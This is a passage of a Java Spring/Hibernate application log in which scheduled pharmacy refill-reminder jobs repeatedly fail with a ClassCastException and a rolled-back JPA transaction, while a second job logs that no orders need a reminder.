org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 21:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 21:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 21:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 21:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 21:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 21:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 21:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 21:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 21:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 21:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 21:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 21:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 21:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 21:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 21:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 21:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 21:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 21:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 21:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 21:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 21:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 21:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 21:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 21:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 21:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 21:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 21:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 21:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 21:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 21:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 21:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 21:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at 